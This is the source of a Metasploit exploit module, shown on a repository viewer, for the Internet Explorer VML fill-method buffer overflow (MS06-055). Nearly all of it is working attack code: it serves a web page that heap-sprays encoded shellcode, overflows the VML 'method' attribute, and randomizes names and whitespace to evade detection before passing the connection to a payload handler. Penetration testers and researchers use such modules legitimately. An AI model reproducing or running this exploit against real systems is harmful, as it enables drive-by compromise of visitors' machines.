root / modules / exploits / windows / browser / ms06_055_vml_method.rb @ master
History | View | Annotate | Download (3.8 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = NormalRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::HttpServer::HTML |
| 18 |
|
| 19 |
def initialize(info = {}) |
| 20 |
super(update_info(info,
|
| 21 |
'Name' => 'Internet Explorer VML Fill Method Code Execution', |
| 22 |
'Description' => %q{ |
| 23 |
This module exploits a code execution vulnerability in Microsoft Internet Explorer using |
| 24 |
a buffer overflow in the VML processing code (VGX.dll). This module has been tested on |
| 25 |
Windows 2000 SP4, Windows XP SP0, and Windows XP SP2. |
| 26 |
},
|
| 27 |
'License' => MSF_LICENSE, |
| 28 |
'Author' =>
|
| 29 |
[ |
| 30 |
'hdm',
|
| 31 |
'Aviv Raff <avivra [at] gmail.com>',
|
| 32 |
'Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>',
|
| 33 |
'Mr.Niega <Mr.Niega [at] gmail.com>',
|
| 34 |
'M. Shirk <shirkdog_list [at] hotmail.com>'
|
| 35 |
], |
| 36 |
'Version' => '$Revision$', |
| 37 |
'References' =>
|
| 38 |
[ |
| 39 |
['CVE', '2006-4868' ], |
| 40 |
['OSVDB', '28946' ], |
| 41 |
['MSB', 'MS06-055' ], |
| 42 |
['BID', '20096' ], |
| 43 |
], |
| 44 |
'Payload' =>
|
| 45 |
{
|
| 46 |
'Space' => 1024, |
| 47 |
'BadChars' => "\x00", |
| 48 |
}, |
| 49 |
'Platform' => 'win', |
| 50 |
'Targets' =>
|
| 51 |
[ |
| 52 |
['Windows NT 4.0 -> Windows 2003 SP1', {'Ret' => 0x0c0c0c0c} ] |
| 53 |
], |
| 54 |
'DefaultTarget' => 0, |
| 55 |
'DisclosureDate' => 'Sep 19 2006')) |
| 56 |
end
|
| 57 |
|
| 58 |
def on_request_uri(cli, request) |
| 59 |
|
| 60 |
# Re-generate the payload
|
| 61 |
return if ((p = regenerate_payload(cli)) == nil) |
| 62 |
|
| 63 |
# Determine the buffer length to use
|
| 64 |
buflen = 1024
|
| 65 |
if (request.headers['User-Agent'] =~ /Windows 5\.[123]/) |
| 66 |
buflen = 65535
|
| 67 |
end
|
| 68 |
|
| 69 |
# Encode the shellcode
|
| 70 |
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) |
| 71 |
|
| 72 |
# Get a unicode friendly version of the return address
|
| 73 |
addr_word = [target.ret].pack('V').unpack('H*')[0][0,4] |
| 74 |
|
| 75 |
# Select a random VML element to use
|
| 76 |
vmls = %w{ rect roundrect line polyline oval image arc curve }
|
| 77 |
vmlelem = vmls[ rand(vmls.length) ] |
| 78 |
|
| 79 |
# The overflow buffer for the method attribute
|
| 80 |
buffer = ("&#x" + addr_word + ";") * buflen |
| 81 |
|
| 82 |
# Generate a random XML namespace for VML
|
| 83 |
xmlns = rand_text_alpha(rand(30)+2) |
| 84 |
|
| 85 |
# Randomize the javascript variable names
|
| 86 |
var_buffer = rand_text_alpha(rand(30)+2) |
| 87 |
var_shellcode = rand_text_alpha(rand(30)+2) |
| 88 |
var_unescape = rand_text_alpha(rand(30)+2) |
| 89 |
var_x = rand_text_alpha(rand(30)+2) |
| 90 |
var_i = rand_text_alpha(rand(30)+2) |
| 91 |
|
| 92 |
# Build out the message
|
| 93 |
content = %Q|
|
| 94 |
<html xmlns:#{xmlns} = " urn:schemas-microsoft-com:vml " > |
| 95 |
<head> |
| 96 |
<style> #{xmlns}\\:* { behavior: url(#default#VML) ; } </style> |
| 97 |
<body> |
| 98 |
<script> |
| 99 |
|
| 100 |
var #{var_unescape} = unescape ; |
| 101 |
var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ; |
| 102 |
|
| 103 |
var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ; |
| 104 |
while (#{var_buffer}.length <= 0x400000) #{var_buffer}+=#{var_buffer} ; |
| 105 |
|
| 106 |
var #{var_x} = new Array() ; |
| 107 |
for ( var #{var_i} =0 ; #{var_i} < 30 ; #{var_i}++ ) { |
| 108 |
#{var_x}[ #{var_i} ] = |
| 109 |
#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} + |
| 110 |
#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} + |
| 111 |
#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} + |
| 112 |
#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ; |
| 113 |
} |
| 114 |
|
| 115 |
</script> |
| 116 |
<#{xmlns}:#{vmlelem}> |
| 117 |
<#{xmlns}:fill method = "#{buffer}" /> |
| 118 |
</#{xmlns}:#{vmlelem}> |
| 119 |
|
| 120 |
</body> |
| 121 |
</html> |
| 122 |
|
|
| 123 |
|
| 124 |
content = Rex::Text.randomize_space(content) |
| 125 |
|
| 126 |
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
| 127 |
|
| 128 |
# Transmit the response to the client
|
| 129 |
send_response_html(cli, content) |
| 130 |
|
| 131 |
# Handle the payload
|
| 132 |
handler(cli) |
| 133 |
end
|
| 134 |
|
| 135 |
end
|